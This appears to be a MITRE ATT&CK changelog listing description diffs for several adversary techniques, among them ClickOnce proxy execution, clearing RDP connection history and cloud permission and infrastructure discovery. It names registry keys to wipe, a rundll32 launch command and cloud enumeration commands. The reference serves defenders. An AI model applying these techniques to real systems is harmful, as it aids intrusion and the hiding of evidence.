| > | ored chat logs (i.e., [Credentials In Files](https://attack. | > | ored chat logs (i.e., [Credentials In Files](https://attack. | ||
| > | mitre.org/techniques/T1552/001)), adversaries may directly a | > | mitre.org/techniques/T1552/001)), adversaries may directly a | ||
| > | ccess credentials within these services on the user endpoint | > | ccess credentials within these services on the user endpoint | ||
| > | , through servers hosting the services, or through administr | > | , through servers hosting the services, or through administr | ||
| > | ator portals for cloud hosted services. Adversaries may also | > | ator portals for cloud hosted services. Adversaries may also | ||
| > | compromise integration tools like Slack Workflows to automa | > | compromise integration tools like Slack Workflows to automa | ||
| > | tically search through messages to extract user credentials. | > | tically search through messages to extract user credentials. | ||
| > | These credentials may then be abused to perform follow-on a | > | These credentials may then be abused to perform follow-on a | ||
| > | ctivities such as lateral movement or privilege escalation ( | > | ctivities such as lateral movement or privilege escalation.( | ||
| > | Citation: Slack Security Risks). | > | Citation: Slack Security Risks) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:56:22.979000+00:00 | 2026-11-04 00:55:13.431000+00:00 |
| description | Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels. Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks). | Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels. Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation.(Citation: Slack Security Risks) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may clear or remove evidence of malicious networ | t | 1 | Adversaries may clear or remove evidence of malicious networ |
| > | k connections in order to clean up traces of their operation | > | k connections in order to clean up traces of their operation | ||
| > | s. Configuration settings as well as various artifacts that | > | s. Configuration settings as well as various artifacts that | ||
| > | highlight connection history may be created on a system and/ | > | highlight connection history may be created on a system and/ | ||
| > | or in application logs from behaviors that require network c | > | or in application logs from behaviors that require network c | ||
| > | onnections, such as [Remote Services](https://attack.mitre.o | > | onnections, such as [Remote Services](https://attack.mitre.o | ||
| > | rg/techniques/T1021) or [External Remote Services](https://a | > | rg/techniques/T1021) or [External Remote Services](https://a | ||
| > | ttack.mitre.org/techniques/T1133). Defenders may use these a | > | ttack.mitre.org/techniques/T1133). Defenders may use these a | ||
| > | rtifacts to monitor or otherwise analyze network connections | > | rtifacts to monitor or otherwise analyze network connections | ||
| > | created by adversaries. Network connection history may be | > | created by adversaries. Network connection history may be | ||
| > | stored in various locations. For example, RDP connection his | > | stored in various locations. For example, RDP connection his | ||
| > | tory may be stored in Windows Registry values under (Citatio | > | tory may be stored in Windows Registry values under: * <cod | ||
| > | n: Microsoft RDP Removal): * <code>HKEY_CURRENT_USER\Softwa | > | e>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Clien | ||
| > | re\Microsoft\Terminal Server Client\Default</code> * <code>H | > | t\Default</code>(Citation: Microsoft RDP Removal) * <code>HK | ||
| > | KEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\S | > | EY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Se | ||
| > | ervers</code> Windows may also store information about rece | > | rvers</code>(Citation: Microsoft RDP Removal) Windows may a | ||
| > | nt RDP connections in files such as <code>C:\Users\\%usernam | > | lso store information about recent RDP connections in files | ||
| > | e%\Documents\Default.rdp</code> and `C:\Users\%username%\App | > | such as <code>C:\Users\\%username%\Documents\Default.rdp</co | ||
| > | Data\Local\Microsoft\Terminal Server Client\Cache\`.(Citatio | > | de> and `C:\Users\%username%\AppData\Local\Microsoft\Termina | ||
| > | n: Moran RDPieces) Similarly, macOS and Linux hosts may stor | > | l Server Client\Cache\`.(Citation: Moran RDPieces) Similarly | ||
| > | e information highlighting connection history in system logs | > | , macOS and Linux hosts may store information highlighting c | ||
| > | (such as those stored in `/Library/Logs` and/or `/var/log/` | > | onnection history in system logs (such as those stored in `/ | ||
| > | ).(Citation: Apple Culprit Access)(Citation: FreeDesktop Jou | > | Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit A | ||
| > | rnal)(Citation: Apple Unified Log Analysis Remote Login and | > | ccess)(Citation: FreeDesktop Journal)(Citation: Apple Unifie | ||
| > | Screen Sharing) Malicious network connections may also requ | > | d Log Analysis Remote Login and Screen Sharing) Malicious n | ||
| > | ire changes to third-party applications or network configura | > | etwork connections may also require changes to third-party a | ||
| > | tion settings, such as [Disable or Modify System Firewall](h | > | pplications or network configuration settings, such as [Disa | ||
| > | ttps://attack.mitre.org/techniques/T1686) or tampering to en | > | ble or Modify System Firewall](https://attack.mitre.org/tech | ||
| > | able [Proxy](https://attack.mitre.org/techniques/T1090). Adv | > | niques/T1686) or tampering to enable [Proxy](https://attack. | ||
| > | ersaries may delete or modify this data to conceal indicator | > | mitre.org/techniques/T1090). Adversaries may delete or modif | ||
| > | s and/or impede defensive analysis. | > | y this data to conceal indicators and/or impede defensive an | ||
| > | alysis. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.627000+00:00 | 2026-11-04 00:24:49.113000+00:00 |
| description | Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.
Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):
* HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
* HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
Windows may also store information about recent RDP connections in files such as C:\Users\\%username%\Documents\Default.rdp and `C:\Users\%username%\AppData\Local\Microsoft\Terminal
Server Client\Cache\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
Malicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1686) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis. | Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.
Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under:
* HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default(Citation: Microsoft RDP Removal)
* HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers(Citation: Microsoft RDP Removal)
Windows may also store information about recent RDP connections in files such as C:\Users\\%username%\Documents\Default.rdp and `C:\Users\%username%\AppData\Local\Microsoft\Terminal
Server Client\Cache\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
Malicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1686) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use ClickOnce applications (.appref-ms and . | t | 1 | Adversaries may use ClickOnce applications (.appref-ms and . |
| > | application files) to proxy execution of code through a trus | > | application files) to proxy execution of code through a trus | ||
| > | ted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat | > | ted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat | ||
| > | ) ClickOnce is a deployment that enables a user to create se | > | ) ClickOnce is a deployment that enables a user to create se | ||
| > | lf-updating Windows-based .NET applications (i.e, .XBAP, .EX | > | lf-updating Windows-based .NET applications (i.e., .XBAP, .E | ||
| > | E, or .DLL) that install and run from a file share or web pa | > | XE, or .DLL) that install and run from a file share or web p | ||
| > | ge with minimal user interaction. The application launches a | > | age with minimal user interaction. The application launches | ||
| > | s a child process of DFSVC.EXE, which is responsible for ins | > | as a child process of DFSVC.EXE, which is responsible for in | ||
| > | talling, launching, and updating the application.(Citation: | > | stalling, launching, and updating the application.(Citation: | ||
| > | SpectorOps Medium ClickOnce) Because ClickOnce applications | > | SpectorOps Medium ClickOnce) Because ClickOnce application | ||
| > | receive only limited permissions, they do not require admin | > | s receive only limited permissions, they do not require admi | ||
| > | istrative permissions to install.(Citation: Microsoft Learn | > | nistrative permissions to install.(Citation: Microsoft Learn | ||
| > | ClickOnce) As such, adversaries may abuse ClickOnce to proxy | > | ClickOnce) As such, adversaries may abuse ClickOnce to prox | ||
| > | execution of malicious code without needing to escalate pri | > | y execution of malicious code without needing to escalate pr | ||
| > | vileges. ClickOnce may be abused in a number of ways. For e | > | ivileges. ClickOnce may be abused in a number of ways. For | ||
| > | xample, an adversary may rely on [User Execution](https://at | > | example, an adversary may rely on [User Execution](https://a | ||
| > | tack.mitre.org/techniques/T1204). When a user visits a malic | > | ttack.mitre.org/techniques/T1204). When a user visits a mali | ||
| > | ious website, the .NET malware is disguised as legitimate so | > | cious website, the .NET malware is disguised as legitimate s | ||
| > | ftware and a ClickOnce popup is displayed for installation.( | > | oftware and a ClickOnce popup is displayed for installation. | ||
| > | Citation: NetSPI ClickOnce) Adversaries may also abuse Clic | > | (Citation: NetSPI ClickOnce) Adversaries may also abuse Cli | ||
| > | kOnce to execute malware via a [Rundll32](https://attack.mit | > | ckOnce to execute malware via a [Rundll32](https://attack.mi | ||
| > | re.org/techniques/T1218/011) script using the command `rundl | > | tre.org/techniques/T1218/011) script using the command `rund | ||
| > | l32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS | > | ll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBA | ||
| > | /Dfsvc.exe) Additionally, an adversary can move the ClickO | > | S /Dfsvc.exe) Additionally, an adversary can move the Click | ||
| > | nce application file to a remote user’s startup folder for c | > | Once application file to a remote user’s startup folder for | ||
| > | ontinued malicious code deployment (i.e., [Registry Run Keys | > | continued malicious code deployment (i.e., [Registry Run Key | ||
| > | / Startup Folder](https://attack.mitre.org/techniques/T1547 | > | s / Startup Folder](https://attack.mitre.org/techniques/T154 | ||
| > | /001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: B | > | 7/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: | ||
| > | urke/CISA ClickOnce Paper) | > | Burke/CISA ClickOnce Paper) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.716000+00:00 | 2026-11-03 23:43:18.243000+00:00 |
| description | Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce) Because ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges. ClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce) Adversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe) Additionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper) | Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e., .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce) Because ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges. ClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce) Adversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe) Additionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper) |
Current version: 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse cloud management services to execute c | t | 1 | Adversaries may abuse cloud management services to execute c |
| > | ommands within virtual machines. Resources such as AWS Syste | > | ommands within virtual machines. Resources such as AWS Syste | ||
| > | ms Manager, Azure RunCommand, and Runbooks allow users to re | > | ms Manager, Azure RunCommand, and Runbooks allow users to re | ||
| > | motely run scripts in virtual machines by leveraging install | > | motely run scripts in virtual machines by leveraging install | ||
| > | ed virtual machine agents. (Citation: AWS Systems Manager Ru | > | ed virtual machine agents.(Citation: AWS Systems Manager Run | ||
| > | n Command)(Citation: Microsoft Run Command) If an adversary | > | Command)(Citation: Microsoft Run Command) If an adversary | ||
| > | gains administrative access to a cloud environment, they ma | > | gains administrative access to a cloud environment, they may | ||
| > | y be able to abuse cloud management services to execute comm | > | be able to abuse cloud management services to execute comma | ||
| > | ands in the environment’s virtual machines. Additionally, an | > | nds in the environment’s virtual machines. Additionally, an | ||
| > | adversary that compromises a service provider or delegated | > | adversary that compromises a service provider or delegated a | ||
| > | administrator account may similarly be able to leverage a [T | > | dministrator account may similarly be able to leverage a [Tr | ||
| > | rusted Relationship](https://attack.mitre.org/techniques/T11 | > | usted Relationship](https://attack.mitre.org/techniques/T119 | ||
| > | 99) to execute commands in connected virtual machines.(Citat | > | 9) to execute commands in connected virtual machines.(Citati | ||
| > | ion: MSTIC Nobelium Oct 2021) | > | on: MSTIC Nobelium Oct 2021) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.721000+00:00 | 2026-11-04 01:13:29.978000+00:00 |
| description | Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command) If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021) | Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents.(Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command) If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021) |
Current version: 1.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to find cloud groups and permission | t | 1 | Adversaries may attempt to find cloud groups and permission |
| > | settings. The knowledge of cloud permission groups can help | > | settings. The knowledge of cloud permission groups can help | ||
| > | adversaries determine the particular roles of users and grou | > | adversaries determine the particular roles of users and grou | ||
| > | ps within an environment, as well as which users are associa | > | ps within an environment, as well as which users are associa | ||
| > | ted with a particular group. With authenticated access ther | > | ted with a particular group. With authenticated access ther | ||
| > | e are several tools that can be used to find permissions gro | > | e are several tools that can be used to find permissions gro | ||
| > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | > | ups. The <code>Get-MsolRole</code> PowerShell cmdlet can be | ||
| > | used to obtain roles and permissions groups for Exchange and | > | used to obtain roles and permissions groups for Exchange and | ||
| > | Office 365 accounts (Citation: Microsoft Msolrole)(Citation | > | Office 365 accounts.(Citation: Microsoft Msolrole)(Citation | ||
| > | : GitHub Raindance). Azure CLI (AZ CLI) and the Google Clou | > | : GitHub Raindance) Azure CLI (AZ CLI) and the Google Cloud | ||
| > | d Identity Provider API also provide interfaces to obtain pe | > | Identity Provider API also provide interfaces to obtain per | ||
| > | rmissions groups. The command <code>az ad user get-member-gr | > | missions groups. The command <code>az ad user get-member-gro | ||
| > | oups</code> will list groups associated to a user account fo | > | ups</code> will list groups associated to a user account for | ||
| > | r Azure while the API endpoint <code>GET https://cloudidenti | > | Azure while the API endpoint <code>GET https://cloudidentit | ||
| > | ty.googleapis.com/v1/groups</code> lists group resources ava | > | y.googleapis.com/v1/groups</code> lists group resources avai | ||
| > | ilable to a user for Google.(Citation: Microsoft AZ CLI)(Cit | > | lable to a user for Google.(Citation: Microsoft AZ CLI)(Cita | ||
| > | ation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: | > | tion: Black Hills Red Teaming MS AD Azure, 2018)(Citation: G | ||
| > | Google Cloud Identity API Documentation) In AWS, the command | > | oogle Cloud Identity API Documentation) In AWS, the commands | ||
| > | s `ListRolePolicies` and `ListAttachedRolePolicies` allow us | > | `ListRolePolicies` and `ListAttachedRolePolicies` allow use | ||
| > | ers to enumerate the policies attached to a role.(Citation: | > | rs to enumerate the policies attached to a role.(Citation: P | ||
| > | Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022 | > | alo Alto Unit 42 Compromised Cloud Compute Credentials 2022) | ||
| > | ) Adversaries may attempt to list ACLs for objects to deter | > | Adversaries may attempt to list ACLs for objects to determ | ||
| > | mine the owner and other accounts with access to the object, | > | ine the owner and other accounts with access to the object, | ||
| > | for example, via the AWS <code>GetBucketAcl</code> API (Cit | > | for example, via the AWS <code>GetBucketAcl</code> API.(Cita | ||
| > | ation: AWS Get Bucket ACL). Using this information an advers | > | tion: AWS Get Bucket ACL) Using this information an adversar | ||
| > | ary can target accounts with permissions to a given object o | > | y can target accounts with permissions to a given object or | ||
| > | r leverage accounts they have already compromised to access | > | leverage accounts they have already compromised to access th | ||
| > | the object. | > | e object. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-08-04 20:30:53.932000+00:00 | 2026-11-04 00:22:50.797000+00:00 |
| description | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)
Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object. | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)
Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API.(Citation: AWS Get Bucket ACL) Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object. |
Current version: 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may attempt to discover infrastructure and reso | t | 1 | An adversary may attempt to discover infrastructure and reso |
| > | urces that are available within an infrastructure-as-a-servi | > | urces that are available within an infrastructure-as-a-servi | ||
| > | ce (IaaS) environment. This includes compute service resourc | > | ce (IaaS) environment. This includes compute service resourc | ||
| > | es such as instances, virtual machines, and snapshots as wel | > | es such as instances, virtual machines, and snapshots as wel | ||
| > | l as resources of other services including the storage and d | > | l as resources of other services including the storage and d | ||
| > | atabase services. Cloud providers offer methods such as API | > | atabase services. Cloud providers offer methods such as API | ||
| > | s and commands issued through CLIs to serve information abou | > | s and commands issued through CLIs to serve information abou | ||
| > | t infrastructure. For example, AWS provides a <code>Describe | > | t infrastructure. For example, AWS provides a <code>Describe | ||
| > | Instances</code> API within the Amazon EC2 API that can retu | > | Instances</code> API within the Amazon EC2 API that can retu | ||
| > | rn information about one or more instances within an account | > | rn information about one or more instances within an account | ||
| > | , the <code>ListBuckets</code> API that returns a list of al | > | , the <code>ListBuckets</code> API that returns a list of al | ||
| > | l buckets owned by the authenticated sender of the request, | > | l buckets owned by the authenticated sender of the request, | ||
| > | the <code>HeadBucket</code> API to determine a bucket’s exis | > | the <code>HeadBucket</code> API to determine a bucket’s exis | ||
| > | tence along with access permissions of the request sender, o | > | tence along with access permissions of the request sender, o | ||
| > | r the <code>GetPublicAccessBlock</code> API to retrieve acce | > | r the <code>GetPublicAccessBlock</code> API to retrieve acce | ||
| > | ss block configuration for a bucket.(Citation: Amazon Descri | > | ss block configuration for a bucket.(Citation: Amazon Descri | ||
| > | be Instance)(Citation: Amazon Describe Instances API)(Citati | > | be Instance)(Citation: Amazon Describe Instances API)(Citati | ||
| > | on: AWS Get Public Access Block)(Citation: AWS Head Bucket) | > | on: AWS Get Public Access Block)(Citation: AWS Head Bucket) | ||
| > | Similarly, GCP's Cloud SDK CLI provides the <code>gcloud com | > | Similarly, GCP's Cloud SDK CLI provides the <code>gcloud com | ||
| > | pute instances list</code> command to list all Google Comput | > | pute instances list</code> command to list all Google Comput | ||
| > | e Engine instances in a project (Citation: Google Compute In | > | e Engine instances in a project,(Citation: Google Compute In | ||
| > | stances), and Azure's CLI command <code>az vm list</code> li | > | stances) and Azure's CLI command <code>az vm list</code> lis | ||
| > | sts details of virtual machines.(Citation: Microsoft AZ CLI) | > | ts details of virtual machines.(Citation: Microsoft AZ CLI) | ||
| > | In addition to API commands, adversaries can utilize open s | > | In addition to API commands, adversaries can utilize open so | ||
| > | ource tools to discover cloud storage infrastructure through | > | urce tools to discover cloud storage infrastructure through | ||
| > | [Wordlist Scanning](https://attack.mitre.org/techniques/T15 | > | [Wordlist Scanning](https://attack.mitre.org/techniques/T159 | ||
| > | 95/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioure | > | 5/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hiourea | ||
| > | as) An adversary may enumerate resources using a compromise | > | s) An adversary may enumerate resources using a compromised | ||
| > | d user's access keys to determine which are available to tha | > | user's access keys to determine which are available to that | ||
| > | t user.(Citation: Expel IO Evil in AWS) The discovery of the | > | user.(Citation: Expel IO Evil in AWS) The discovery of thes | ||
| > | se available resources may help adversaries determine their | > | e available resources may help adversaries determine their n | ||
| > | next steps in the Cloud environment, such as establishing Pe | > | ext steps in the Cloud environment, such as establishing Per | ||
| > | rsistence.(Citation: Mandiant M-Trends 2020)An adversary may | > | sistence.(Citation: Mandiant M-Trends 2020)An adversary may | ||
| > | also use this information to change the configuration to ma | > | also use this information to change the configuration to mak | ||
| > | ke the bucket publicly accessible, allowing data to be acces | > | e the bucket publicly accessible, allowing data to be access | ||
| > | sed without authentication. Adversaries have also may use in | > | ed without authentication. Adversaries have also may use inf | ||
| > | frastructure discovery APIs such as <code>DescribeDBInstance | > | rastructure discovery APIs such as <code>DescribeDBInstances | ||
| > | s</code> to determine size, owner, permissions, and network | > | </code> to determine size, owner, permissions, and network A | ||
| > | ACLs of database resources. (Citation: AWS Describe DB Insta | > | CLs of database resources.(Citation: AWS Describe DB Instanc | ||
| > | nces) Adversaries can use this information to determine the | > | es) Adversaries can use this information to determine the po | ||
| > | potential value of databases and discover the requirements t | > | tential value of databases and discover the requirements to | ||
| > | o access them. Unlike in [Cloud Service Discovery](https://a | > | access them. Unlike in [Cloud Service Discovery](https://att | ||
| > | ttack.mitre.org/techniques/T1526), this technique focuses on | > | ack.mitre.org/techniques/T1526), this technique focuses on t | ||
| > | the discovery of components of the provided services rather | > | he discovery of components of the provided services rather t | ||
| > | than the services themselves. | > | han the services themselves. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.635000+00:00 | 2026-11-04 01:08:10.060000+00:00 |
| description | An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)
An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. | An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
